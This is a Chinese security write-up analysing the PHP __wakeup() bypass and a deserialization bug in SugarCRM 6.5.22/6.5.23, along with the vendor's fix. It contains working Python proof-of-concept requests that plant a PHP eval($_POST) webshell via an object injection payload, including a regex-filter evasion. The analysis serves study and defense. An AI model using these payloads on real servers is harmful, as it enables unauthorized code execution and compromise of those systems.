__wakeup()函数漏洞以及实际漏洞分析

__wakeup()函数用法

__wakeup()是用在反序列化操作中。unserialize()会检查存在一个__wakeup()方法。如果存在,则先会调用__wakeup()方法。

1
2
3
4
5
6
7
8
9
<?php
class A{
function __wakeup(){
echo 'Hello';
}
}
$c = new A();
$d=unserialize('O:1:"A":0:{}');
?>

最后页面输出了Hello。在反序列化的时候存在__wakeup()函数,所以最后就会输出Hello

__wakeup()函数漏洞说明

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php  
class Student{
public $full_name = 'zhangsan';
public $score = 150;
public $grades = array();

function __wakeup() {
echo "__wakeup is invoked";
}
}

$s = new Student();
var_dump(serialize($s));
?>

最后页面上输出的就是Student对象的一个序列化输出,
O:7:"Student":3:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}。其中在Stuedent类后面有一个数字3,整个3表示的就是Student类存在3个属性。
__wakeup()漏洞就是与整个属性个数值有关。当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。
当我们将上述的序列化的字符串中的对象属性修改为5,变为
O:7:"Student":5:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}
最后执行运行的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Student{  
public $full_name = 'zhangsan';
public $score = 150;
public $grades = array();

function __wakeup() {
echo "__wakeup is invoked";
}
function __destruct() {
var_dump($this);
}
}

$s = new Student();
$stu = unserialize('O:7:"Student":5:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}');

可以看到这样就成功地绕过了__wakeup()函数。

案例

SugarCms存在一个很经典的__wakup()函数绕过的漏洞,网上也有分析文章。但是我发现网上的文章都是针对于6.5.23版本的,我后来有研究了6.5.22的版本。从这个版本的迭代中,可以看到程序员的防御思维,很值得我们研究和学习。由于在分析的过程中会按照代码审计的思路,会对其中重要的函数都会进行跟踪,所以整个分析看起来会比较的复杂和啰嗦,但这整个步骤都是还原了代码审计中的步骤。
我们先从6.5.22版本开始分析。

找到反序列化语句

service/core/REST/SugarRestSerialize.php中的SugarRestSerialize类中的server()方法代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function serve(){
$GLOBALS['log']->info('Begin: SugarRestSerialize->serve');
$data = !empty($_REQUEST['rest_data'])? $_REQUEST['rest_data']: '';
if(empty($_REQUEST['method']) || !method_exists($this->implementation, $_REQUEST['method'])){
$er = new SoapError();
$er->set_error('invalid_call');
$this->fault($er);
}else{
$method = $_REQUEST['method'];
$data = unserialize(from_html($data));
if(!is_array($data))$data = array($data);
$GLOBALS['log']->info('End: SugarRestSerialize->serve');
return call_user_func_array(array( $this->implementation, $method),$data);
} // else
} // fn

其中存在$data = unserialize(from_html($data))这样的序列化语句,而且$data是由$data = !empty($_REQUEST['rest_data'])? $_REQUEST['rest_data']: ''得到的,是我们可控的。那么就说明我们是可以控制反序列化的内容的。

寻找利用点

在找到了序列化语句之后,我们需要找到在哪些对象中可以利用这个反序列化语句。
include/SugarCache/SugarCacheFile.php中的存在SugarCacheFile类以及__destruct()方法和__wakeup()方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function __destruct()
{
parent::__destruct();

if ( $this->_cacheChanged )
sugar_file_put_contents(sugar_cached($this->_cacheFileName), serialize($this->_localStore));
}

/**
* This is needed to prevent unserialize vulnerability
*/
public function __wakeup()
{
// clean all properties
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
throw new Exception("Not a serializable object");
}

我们发现,__wakeup()会将传入的对象的所有属性全部清空,__destruct()则主要调用sugar_file_put_contents()函数将serialize($this->_localStore)写入文件。
跟进sugar_file_put_contents(),在include/utils/sugar_file_utils.php中,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function sugar_file_put_contents($filename, $data, $flags=null, $context=null){
//check to see if the file exists, if not then use touch to create it.
if(!file_exists($filename)){
sugar_touch($filename);
}

if ( !is_writable($filename) ) {
$GLOBALS['log']->error("File $filename cannot be written to");
return false;
}

if(empty($flags)) {
return file_put_contents($filename, $data);
} elseif(empty($context)) {
return file_put_contents($filename, $data, $flags);
} else{
return file_put_contents($filename, $data, $flags, $context);
}
}

我们发现sugar_file_put_contents()函数并没有对文件进行限制,而SugarCacheFile类调用的__destruct中,$data的值就是serialize($this->_localStore)。所以我们只需要出入一个SugarCacheFile类的对象并设置其属性,这样我们就可以写入一个文件或者是一句话木马。
但是由于在SugarCacheFile中存在__wakeup()函数会将对象的所有属性全部清空,所以我们必须要绕过这个函数,那么就需要利用__wakeup()的漏洞了。

利用

通过上面的分析,我们可以总结出我们的数据整个的传输流程:

1
$_REQUEST['rest_data']->unserialize(from_html($data))-> __destruct()->sugar_file_put_contents->一句话木马

在确定了数据传输流程之后,就需要找到一个这样的环境或者是文件。这个文件调用了SugarRestSerialize.phpserve()方法,并且include文件SugarCacheFile.php文件。
一下就是简要的分析过程。
service/v4/rest.php

1
2
3
4
5
6
7
8
9
chdir('../..');
require_once('SugarWebServiceImplv4.php');
$webservice_class = 'SugarRestService';
$webservice_path = 'service/core/SugarRestService.php';
$webservice_impl_class = 'SugarWebServiceImplv4';
$registry_class = 'registry';
$location = '/service/v4/rest.php';
$registry_path = 'service/v4/registry.php';
require_once('service/core/webservice.php');

我们发现$webservice_class定义为SugarRestService
跟踪其中的service/core/webservice.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ob_start();
chdir(dirname(__FILE__).'/../../');
require('include/entryPoint.php');
require_once('soap/SoapError.php');
require_once('SoapHelperWebService.php');
require_once('SugarRestUtils.php');
require_once($webservice_path);
require_once($registry_path);
if(isset($webservice_impl_class_path))
require_once($webservice_impl_class_path);
$url = $GLOBALS['sugar_config']['site_url'].$location;
$service = new $webservice_class($url);
$service->registerClass($registry_class);
$service->register();
$service->registerImplClass($webservice_impl_class);

// set the service object in the global scope so that any error, if happens, can be set on this object
global $service_object;
$service_object = $service;

$service->serve();

其中的关键代码部分是:

1
$service = new $webservice_class($url);

其中的$webservice_class就是在service/v4/rest.php中定义的,为SugarRestService
跟踪service/core/SugarRestService.php,发现
在57行的_getTypeName()函数中有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
protected function _getTypeName($name)
{
if(empty($name)) return 'SugarRest';

$name = clean_string($name, 'ALPHANUM');
$type = '';
switch(strtolower($name)) {
case 'json':
$type = 'JSON';
break;
case 'rss':
$type = 'RSS';
break;
case 'serialize':
$type = 'Serialize';
break;
}
$classname = "SugarRest$type";
if(!file_exists('service/core/REST/' . $classname . '.php')) {
return 'SugarRest';
}
return $classname;
}
function __construct($url){
$GLOBALS['log']->info('Begin: SugarRestService->__construct');
$this->restURL = $url;

$this->responseClass = $this->_getTypeName(@$_REQUEST['response_type']);
$this->serverClass = $this->_getTypeName(@$_REQUEST['input_type']);
$GLOBALS['log']->info('SugarRestService->__construct serverclass = ' . $this->serverClass);
require_once('service/core/REST/'. $this->serverClass . '.php');
$GLOBALS['log']->info('End: SugarRestService->__construct');
} // ctor

当传入的参数为Serialize,最后就会返回SugarRestSerialize字符串,最后就会在构造函数中构造出SugarRestSerialize类。
在86行的构造函数serve()中有

1
2
3
4
5
6
7
8
9
10
11
function serve(){
$GLOBALS['log']->info('Begin: SugarRestService->serve');
require_once('service/core/REST/'. $this->responseClass . '.php');
$response = $this->responseClass;

$responseServer = new $response($this->implementation);
$this->server->faultServer = $responseServer;
$responseServer->faultServer = $responseServer;
$responseServer->generateResponse($this->server->serve());
$GLOBALS['log']->info('End: SugarRestService->serve');
} // fn

在serve()函数中就会执行在__construct构造出来的SugarRestSerialize类了。
最后我们就要正在在webservice.php中引用了SugarCacheFile.php文件。
webservice.php使用get_included_files()函数来进行得到所引用的所有的文件,最后发现引入了SugarCache.php,而SugarCache.php引入了SugarCacheFile.php,那么最后就相当于webservice.php引入了SugarCacheFile.php
分析到这里,那么webservice.php就满足了上面所说的

这个文件调用了SugarRestSerialize.phpserve()方法,并且include文件SugarCacheFile.php文件。

那个要求了。

其中最关键的地方就是序列话语句的构造。
我们在本地运行如下的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

class SugarCacheFile
{
protected $_cacheFileName = '../custom/1.php';

protected $_localStore = array("<?php eval(\$_POST['bdw']);?>");

protected $_cacheChanged = true;
}
$scf = new SugarCacheFile();
var_dump(serialize($scf));
?>

最后页面输出的结果是

1
O:14:"SugarCacheFile":3:{s:17:"�*�_cacheFileName";s:15:"../custom/1.php";s:14:"�*�_localStore";a:1:{i:0;s:28:"<?php eval($_POST['bdw']);?>";}s:16:"�*�_cacheChanged";b:1;}

为什么使用var_dump的时候会出现无法显示的字符?这个字符就是\x0,即在php中的chr(0)字符。这个字符在页面上是无法显示的。出现这个字符的原因是和PHP的序列化的实现机制有关,这次就不做说明了。所以实际上的,序列化之后的结果应该是:

1
O:14:"SugarCacheFile":3:{s:17:"\x0*\x0_cacheFileName";s:15:"../custom/1.php";s:14:"\x0*\x0_localStore";a:1:{i:0;s:26:"<?php eval($_POST['1']);?>";}s:16:"\x0*\x0_cacheChanged";b:1;}

其中的\x0并不是\xx0三个字符,而是chr(0)一个字符。
得到序列化需要的字符串之后,那需要进行提交最后的PoC。
Poc Demo如下:

1
2
3
4
5
6
7
8
9
10
import requests

url = "http://localhost/sugar/service/v4/rest.php"
data = {
'method':'login',
'input_type':'Serialize',
'rest_data':'O:14:"SugarCacheFile":4:{S:17:"\\00*\\00_cacheFileName";S:15:"../custom/1.php";S:14:"\\00*\\00_localStore";a:1:{i:0;S:26:"<?php eval($_POST[\'1\']);?>";}S:16:"\\00*\\00_cacheChanged";b:1;}'
}

requests.post(url,data=data)

在上述的payload中有几点需要注意的问题,首先要修改掉序列化中的属性值来绕过__wakeup()函数,其次在Python中,chr(0)的表示方法是\\00
最后就会在custom目录下得到1.php,木马的内容就是a:1:{i:0;s:26:"<?php eval($_POST['1']);?>";}

最后使用中国菜刀就可以顺利连上木马。

自此漏洞就基本分析完毕。

5.6.23版本

在22版本中,serve()方法是直接使用的unserialize()方法来进行的序列化,$data = unserialize(from_html($data))
在24中的代码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function serve(){
$GLOBALS['log']->info('Begin: SugarRestSerialize->serve');
$data = !empty($_REQUEST['rest_data'])? $_REQUEST['rest_data']: '';
if(empty($_REQUEST['method']) || !method_exists($this->implementation, $_REQUEST['method'])){
$er = new SoapError();
$er->set_error('invalid_call');
$this->fault($er);
}else{
$method = $_REQUEST['method'];
$data = sugar_unserialize(from_html($data));
if(!is_array($data))$data = array($data);
$GLOBALS['log']->info('End: SugarRestSerialize->serve');
return call_user_func_array(array( $this->implementation, $method),$data);
} // else
} // fn

其中将$data = unserialize(from_html($data))变为了$data = sugar_unserialize(from_html($data));
跟踪sugar_unserialize()方法,
include/utils.php类有sugar_unserialize方法,

1
2
3
4
5
6
7
8
9
10
function sugar_unserialize($value)
{
preg_match('/[oc]:\d+:/i', $value, $matches);

if (count($matches)) {
return false;
}

return unserialize($value);
}

可以看对序列化的字符串进行了过滤,其实主要过滤的就是禁止Object类型被反序列化。虽然这样看起是没有问题的,但是由于PHP的一个BUG,导致仍然可以被绕过。只需要在对象长度前添加一个+号,即o:14->o:+14,这样就可以绕过正则匹配。关于这个BUG的具体分析,可以参见php反序列unserialize的一个小特性
最后的PoC就是

1
2
3
4
5
6
7
8
9
10
import requests

url = "http://localhost/sugar/service/v4/rest.php"
data = {
'method':'login',
'input_type':'Serialize',
'rest_data':'O:+14:"SugarCacheFile":4:{S:17:"\\00*\\00_cacheFileName";S:15:"../custom/1.php";S:14:"\\00*\\00_localStore";a:1:{i:0;S:26:"<?php eval($_POST[\'1\']);?>";}S:16:"\\00*\\00_cacheChanged";b:1;}'
}

requests.post(url,data=data)

修复

这个漏洞是知道5.6.24版本才进行修复的,修复的方式也是十分的简单。
在这个版本中,上述的PoC已经不能够使用了。以下是修复代码。
include/utils.php类有sugar_unserialize方法,

1
2
3
4
5
6
7
8
9
10
function sugar_unserialize($value)
{
preg_match('/[oc]:[^:]*\d+:/i', $value, $matches);

if (count($matches)) {
return false;
}

return unserialize($value);
}

可以看到,正则表达式已经变为/[oc]:[^:]*\d+:/i,那么通过+好来进行绕过的方式已经不适用了,这样就修复了这个漏洞了。

总结

在我本地执行的,其中有一个非常关键的地方在于,需要将payload中的序列化字符串中的s改为S,否则同样无法执行成功。当然我也和别人讨论一下,有的人大小写都可以,有的人一定要用大写。
可以看到最后的方法就是使用正则表达式/[oc]:[^:]*\d+:/i来禁止反序列化Object对象,但是序列化本质的作用就是传输对象数据,如果是其他的数据其实就使用传输了,所以不知道在SugarCRM中禁止传输Object对象却允许传输其他类型的数据有何意义?
最后还要感谢Bendwang的指点,解答了我的很多问题。

参考

SugarCRM v6.5.23 PHP反序列化对象注入漏洞分析:http://paper.seebug.org/39/
php反序列unserialize的一个小特性:http://www.phpbug.cn/archives/32.html
__wakeup()函数失效引发漏洞(CVE-2016-7124):http://blog.csdn.net/qq_19876131/article/details/52890854
magic函数__wakeup()引发的漏洞:http://www.venenof.com/index.php/archives/167/